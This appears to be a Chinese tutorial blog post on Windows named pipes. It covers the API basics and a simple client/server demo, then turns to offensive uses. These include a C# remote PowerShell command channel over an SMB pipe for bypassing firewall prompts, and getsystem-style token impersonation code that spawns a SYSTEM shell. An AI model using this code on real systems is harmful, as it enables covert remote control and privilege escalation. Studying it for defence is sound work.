溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

windows安全初探之命名管道

發(fā)布時間:2021-12-27 15:37:03 來源:億速云 閱讀:159 作者:柒染 欄目:網(wǎng)絡(luò)安全

windows安全初探之命名管道,相信很多沒有經(jīng)驗的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。

最近學(xué)校開了操作系統(tǒng)這門課,記錄自己學(xué)習(xí)命名管道中與網(wǎng)絡(luò)安全有關(guān)的內(nèi)容。

關(guān)于命名管道:

“命名管道”又名“命名管線”(Named Pipes),是一種簡單的進(jìn)程間通信(IPC)機(jī)制,Microsoft Windows大都提供了對它的支持(但不包括Windows CE)。命名管道可在同一臺計算機(jī)的不同進(jìn)程之間或在跨越一個網(wǎng)絡(luò)的不同計算機(jī)的不同進(jìn)程之間,支持可靠的、單向或雙向的數(shù)據(jù)通信。推薦用命名管道作為進(jìn)程通信方案的一項重要的原因是它們充分利用了Windows內(nèi)建的安全特性(ACL等)。

用命名管道來設(shè)計跨計算機(jī)應(yīng)用程序?qū)嶋H非常簡單,并不需要事先深入掌握底層網(wǎng)絡(luò)傳送協(xié)議(如TCP、UDP、IP、IPX)的知識。這是由于命名管道利用了微軟網(wǎng)絡(luò)提供者(MSNP)重定向器通過同一個網(wǎng)絡(luò)在各進(jìn)程間建立通信,這樣一來,應(yīng)用程序便不必關(guān)心網(wǎng)絡(luò)協(xié)議的細(xì)節(jié)。

命名管道是一個具有名稱,可以單向或雙面在一個服務(wù)器和一個或多個客戶端之間進(jìn)行通訊的管道。命名管道的所有實例擁有相同的名稱,但是每個實例都有其自己的緩沖區(qū)和句柄,用來為不同客戶端通許提供獨立的管道。使用實例可使多個管道客戶端同時使用相同的命名管道。

命名管道的名稱在本系統(tǒng)中是唯一的。

命名管道可以被任意符合權(quán)限要求的進(jìn)程訪問。

命名管道只能在本地創(chuàng)建。

命名管道的客戶端可以是本地進(jìn)程(本地訪問:\.\pipe\PipeName)或者是遠(yuǎn)程進(jìn)程(訪問遠(yuǎn)程:\ServerName\pipe\PipeName)。

命名管道使用比匿名管道靈活,服務(wù)端、客戶端可以是任意進(jìn)程,匿名管道一般情況下用于父子進(jìn)程通訊。

列出計算機(jī)內(nèi)所有的命名管道:

在powershell3以上的版本中,我們可以使用

[System.IO.Directory]::GetFiles("\\.\\pipe\\")

來查看本機(jī)上所有的存在的命名管道,或者使用process explorer來進(jìn)行查看

windows安全初探之命名管道

命名管道的創(chuàng)建及通信

在windows中命名管道的通信方式是:

①創(chuàng)建命名管道?。?gt;  ②連接命名管道  -->  ③讀寫命名管道

詳細(xì)過程如下:

命名管道通過調(diào)用函數(shù)CreateNamedPipe()創(chuàng)建,函數(shù)原型如下:



HANDLE WINAPI CreateNamedPipe(  _In_     LPCTSTR               lpName,  _In_     DWORD                 dwOpenMode,  _In_     DWORD                 dwPipeMode,  _In_     DWORD                 nMaxInstances,  _In_     DWORD                 nOutBufferSize,  _In_     DWORD                 nInBufferSize,  _In_     DWORD                 nDefaultTimeOut,  _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes );

詳細(xì)參數(shù)可以參考:https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea

創(chuàng)建完成后服務(wù)端可以調(diào)用函數(shù)ConnectNamedPipe()等待客戶端的連接請求,函數(shù)原型如下:



BOOL WINAPI ConnectNamedPipe(  _In_        HANDLE       hNamedPipe, _Inout_opt_ LPOVERLAPPED lpOverlapped );

詳細(xì)參數(shù)可以參考:https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe

對于客戶端而言,在連接服務(wù)器創(chuàng)建的命名管道前需要判斷該命名管道是否可用,可調(diào)用函數(shù)WaitNamedPipe()實現(xiàn)

函數(shù)原型如下:



BOOL WaitNamedPipeA(  LPCSTR lpNamedPipeName,  DWORD  nTimeOut );

詳細(xì)參數(shù)可以參考:https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-waitnamedpipea

當(dāng)WaitNamedPipe()調(diào)用成功后,便可使用CreateFile()將命名管道打開已獲得管道的句柄。

然后客戶端對命名管道的讀寫操作利用函數(shù)ReadFile()和WriteFile()完成,函數(shù)原型如下:



BOOL WriteFile(  HANDLE       hFile,  LPCVOID      lpBuffer,  DWORD        nNumberOfBytesToWrite,  LPDWORD      lpNumberOfBytesWritten,  LPOVERLAPPED lpOverlapped ); BOOL ReadFile(  HANDLE       hFile,  LPVOID       lpBuffer,  DWORD        nNumberOfBytesToRead,  LPDWORD      lpNumberOfBytesRead,  LPOVERLAPPED lpOverlapped );

具體參數(shù)可以參考:

WriteFile function (fileapi.h) - Win32 apps

ReadFile function (fileapi.h) - Win32 apps

demo:

下面是一個命名管道通信的小demo:

服務(wù)端:



#include<Windows.h> #include<iostream> #define BUF_SIZE 1024 using namespace std; int main(int argc,char * argv[]) { HANDLE h_pipe; char rev_buf[BUF_SIZE]; DWORD rel_buf; h_pipe = CreateNamedPipe( "\\\\.\\pipe\\pipename", PIPE_ACCESS_INBOUND, PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, BUF_SIZE, BUF_SIZE, 0, nullptr ); if (h_pipe == INVALID_HANDLE_VALUE) { cout<<"NamedPipe Create fail!!!"<<GetLastError()<<endl; system("pause"); return 1; } else { cout<<"NamedPipe Create Successful !!!"<<endl; } if (ConnectNamedPipe(h_pipe,nullptr)) { cout<<"NamedPipe Connected !!!"<<endl; memset(rev_buf,0,BUF_SIZE); if (ReadFile(h_pipe, rev_buf, BUF_SIZE, &rel_buf, nullptr)) { cout<<"Revecve Data Successful !!!"<<rev_buf<<endl; } else { cout << "Revecve Data Fail !!!" << GetLastError() << endl; CloseHandle(h_pipe); system("pause"); return 1; } } CloseHandle(h_pipe); return 0; }

客戶端:



#include<Windows.h> #include<iostream> #define BUF_SIZE 1024 using namespace std; int main(int argv,char * argc[]) { HANDLE h_pipe;     char buf_msg[] = "Test for named pipe...";     DWORD num_rcv; //實際接收到的字節(jié)數(shù)     cout << "Try to connect named pipe...\n";         if (WaitNamedPipe("\\\\.\\pipe\\pipename", NMPWAIT_WAIT_FOREVER))         {             //打開指定命名管道             h_pipe = CreateFile("\\\\.\\pipe\\pipename", GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);             if (h_pipe == INVALID_HANDLE_VALUE)             {                 cerr << "Failed to open the appointed named pipe!Error code: " << GetLastError() << "\n";                 system("pause");                 return 1;             }             else             {                 if (WriteFile(h_pipe, buf_msg, BUF_SIZE, &num_rcv, nullptr))                 {                     cout << "Message sent successfully...\n";                 }                 else                 {                     cerr << "Failed to send message!Error code: " << GetLastError() << "\n";                     CloseHandle(h_pipe);                     system("pause");                     return 1;                 }             }             CloseHandle(h_pipe);         }         system("pause");         return 0; }

效果如下:

windows安全初探之命名管道

PS:實現(xiàn)長鏈接的話記得開新線程哦。

實際利用

繞過防火墻:

那么這個東西有什么用呢?我們在滲透的過程中經(jīng)常會看到下面這種情況:

windows安全初探之命名管道

在 Windows 中,當(dāng)嘗試使用 Bind() 綁定一個 TCP Socket 時,Defender 會彈窗提示是否允許此程序進(jìn)行網(wǎng)絡(luò)連接,只有用戶點擊允許訪問才可放行。我們可以利用添加防火墻規(guī)則的辦法來繞過這個限制,但是,如果你不是administrator權(quán)限,也就GG了,這個時候我們還有另外的辦法就是利用命名管道,命名管道網(wǎng)絡(luò)通信使用了未加密的SMB協(xié)議(端口445)或DCE\RPC(端口135)。在 Windows 中,通常默認(rèn)允許 SMB 協(xié)議 出入站,因此,如果有什么功能或機(jī)制可以用于與外部機(jī)器進(jìn)行通信的,SMB 協(xié)議 無疑是一種很好的選擇。所以我們可以基于命名管道與外部機(jī)器進(jìn)行通信,從而建立控制通道。

這里就直接拿rocll大佬的代碼過來了:



private static void WaitData() {    // 創(chuàng)建一個運行空間    Runspace runspace = null;    runspace = RunspaceFactory.CreateRunspace();    runspace.ApartmentState = System.Threading.ApartmentState.STA;    runspace.Open();    while(true)    {        using (var pipeServer = new NamedPipeServerStream(            "testpipe",            PipeDirection.InOut,            NamedPipeServerStream.MaxAllowedServerInstances,            PipeTransmissionMode.Message))        {            Console.WriteLine("[*] Waiting for client connection...");            pipeServer.WaitForConnection();            Console.WriteLine("[*] Client connected.");            while (true)            {                var messageBytes = ReadMessage(pipeServer);                var line = Encoding.Default.GetString(messageBytes);                Console.WriteLine("[*] Received: {0}", line);                if (line.ToLower() == "exit")                {                    return;                }                // 參考:https://decoder.cloud/2017/11/02/we-dont-need-powershell-exe/                try                {                    Pipeline PsPipe = runspace.CreatePipeline();                    PsPipe.Commands.AddScript(line);                    PsPipe.Commands.Add("Out-String");                    Collection<PSObject> results = PsPipe.Invoke();                    StringBuilder stringBuilder = new StringBuilder();                    foreach (PSObject obj in results)                    {                        stringBuilder.AppendLine(obj.ToString());                    }                    var response = Encoding.Default.GetBytes(stringBuilder.ToString());                    try                    {                        pipeServer.Write(response, 0, response.Length);                    }                    catch                    {                        Console.WriteLine("[!] Pipe is broken!");                        break;                    }                }                catch (Exception e){}            }        }    } } private static void SendData(string ServerName) {    Console.WriteLine("[+] Connecting to " + ServerName);    using (var pipeClient = new NamedPipeClientStream(ServerName, "testpipe", PipeDirection.InOut))    {        pipeClient.Connect(5000);        pipeClient.ReadMode = PipeTransmissionMode.Message;        Console.WriteLine("[+] Connection established succesfully.");        do        {              Console.Write("csexec> ");            var input = Console.ReadLine();            if (String.IsNullOrEmpty(input)) continue;            byte[] bytes = Encoding.Default.GetBytes(input);            pipeClient.Write(bytes, 0, bytes.Length);            if (input.ToLower() == "exit") return;            var result = ReadMessage(pipeClient);            Console.WriteLine();            Console.WriteLine(Encoding.Default.GetString(result));        } while (true);    } }

模擬令牌:

這也是命名管道中常見的一種方法,一般可以用來提權(quán)操作,我們cobaltstrike中的getsystem也就是這個原理,官方給出的內(nèi)容為:

Technique 1 creates a named pipe from Meterpreter. It also creates and runs a service that runs cmd.exe /c echo “some data” >\\.\pipe\[random pipe here]. When the spawned cmd.exe connects to Meterpreter’s named pipe, Meterpreter has the opportunity to impersonate that security context. Impersonation of clients is a named pipes feature. The context of the service is SYSTEM, so when you impersonate it, you become SYSTEM.

大體意思也就是說,msf會創(chuàng)建一個命名管道,然后創(chuàng)建一個服務(wù)去運行cmd.exe /c echo “some data” >\\.\pipe\[random pipe here],當(dāng)cmd連接到Meterpreter的明明管道的時候,因為服務(wù)是system權(quán)限,msf也就得到了一個system的shell。

Windows提供了這樣的API,ImpersonateNamedPipeClient API調(diào)用是getsystem模塊功能的關(guān)鍵。

ImpersonateNamedPipeClient允許命名管道模擬客戶端的服務(wù)器端。調(diào)用此函數(shù)時,命名管道文件系統(tǒng)會更改調(diào)用進(jìn)程的線程,以開始模擬從管道讀取的最后一條消息的安全內(nèi)容。只有管道的服務(wù)器端可以調(diào)用此函數(shù)。

在msf的meterpreter/source/extensions/stdapi/server/sys/process/process.c文件中,你可以看到它做了以下操作,派生令牌獲取shell:



if (ImpersonateNamedPipeClient(namedPipe) == 0) { printf("[!] Error impersonating client\n"); return 0; }     if (!CreateProcessAsUserA(newtoken, NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { printf("[!] CreateProcessAsUser failed (%d), trying another method.\n", GetLastError()); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); // Sometimes we fail above (as shown at meterpreter/source/extensions/stdapi/server/sys/process/process.c) if (!CreateProcessWithTokenW(newtoken, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) { printf("[!] CreateProcessWithToken failed (%d).\n", GetLastError()); return 0; } }

然后我們就可以使用下面的辦法模擬令牌獲取一個system的shell:



HANDLE threadToken = NULL, duplicatedToken = NULL; OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, &threadToken); DuplicateTokenEx(threadToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &duplicatedToken); err = GetLastError(); CreateProcessWithTokenW(duplicatedToken, 0, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

windows安全初探之命名管道

一些細(xì)節(jié):

為了防止濫用模仿機(jī)制,Windows不允許服務(wù)器在沒有得到客戶同意的情況下執(zhí)行模仿??蛻暨M(jìn)程在連接到服務(wù)器的時候可以指定一個SQOS(security quality of service),以此限制服務(wù)器進(jìn)程可以執(zhí)行的模擬等級。通過C++代碼訪問命名管道一般采用CreateFile函數(shù),可以通過指定SECURITYANONYMOUS、SECURITYIDENTIFICATION、SECURITYIMPERSONATION、SECURITYDELEGATION作為標(biāo)記。 默認(rèn)調(diào)用CreateFile函數(shù)訪問命名管道時采用的權(quán)限就是IMPERSONATION級別,只能用于模擬本地權(quán)限,無法應(yīng)用域遠(yuǎn)程訪問。其中權(quán)限最高的級別為DELEGATION,當(dāng)客戶端模擬級別設(shè)置為此級別時,服務(wù)端可以任意模擬客戶端權(quán)限,包括本地和遠(yuǎn)程。

看完上述內(nèi)容,你們掌握windows安全初探之命名管道的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI